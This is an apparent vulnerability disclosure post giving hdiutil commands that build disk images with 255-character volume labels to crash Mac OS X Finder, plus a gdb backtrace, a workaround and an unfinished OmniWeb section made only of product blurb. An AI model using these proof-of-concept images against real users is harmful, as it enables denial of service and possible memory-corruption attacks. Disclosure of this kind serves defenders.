I've been subject to a few DoS attacks as of late so these did not quite 
make it out. Enjoy the typos as usual. =P

Description:
Your home on the Mac, Finder gives you lots of options for locating, displaying and organizing all your 
files and folders. From the power of Spotlight search technology to the flexibility of customizable item 
views, Mac OS X Finder truly shows your Mac at a glance.

You can really piss Finder off in several ways by passing long volume labels to various types of disk 
images. Here is the hex dump of an example label that can be used to trigger the issue.

Creating the images is something fairly easy to do. 
$ hdiutil create -sectors 31337 -type SPARSE -fs HFS+ -volname `perl -e 'print "A" x 255'` -layout NONE test.sparseimage

$ hdiutil create test.dmg -size 01m -fs HFS+ -volname `perl -e 'print "A" x 255'` 

$ hdiutil create test.dmg -size 200k -fs UFS -volname `perl -e 'print "A" x 255'` 

Attach gdb to Finder and open any of the above .dmg files and you will see the following crash. 

(gdb) bt
#0  0xffff0ac4 in ___memcpy () at /System/Library/Frameworks/System.framework/PrivateHeaders/i386/cpu_capabilities.h:228

See Alastairs blog (http://alastairs-place.net) in about 3 days for an explaination of exploitability.

Workaround: 
Do not mount disk images or simply disable finder and use Spotlight instead. 

1. Open Terminal, found in /Applications -> Utilities, and then type 
   'sudo mv /System/Library/CoreServices/Finder.app /Applications/' 

2. Still in Terminal, type killall Finder -- this kills the process named Finder, and it should not restart! Note that 
this 
   does not affect the Dock or Expos

The following command will unmount a disk image in the event that your Finder has been put into a DoS condition. 
$ hdiutil unmount /Volumes/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/

Description:
You're a Mac fan, right? When people ask you why you like the Mac, you probably think of the attention to detail that 
makes the Mac user experience superior. It's the sum of a lot of different things that add up to a system that's more 
powerful, more beautiful, and more fun.

What if you thought of a web browser in the same way? You use a web browser all the time, for working, for 
entertainment, 
for research; how cool would it be if every time you used it, you thought "Wow, this rules!"

Welcome to OmniWeb. OmniWeb elevates your web user experience to be more productive, more efficient, and more fun. 
You'll 
find information more quickly. You'll stay organized. You'll see the entire internet the way you choose. It's the 
browser 
that puts you in control.

Sure, you can use a standard web browser, with standard features. But you didn't choose a standard software experience 
- 
you chose the Mac. Why not try a browser built just for discriminating people with fabulous taste, like yourself? 

The only real reason to not make use of such a fabulous browser would be bad code.
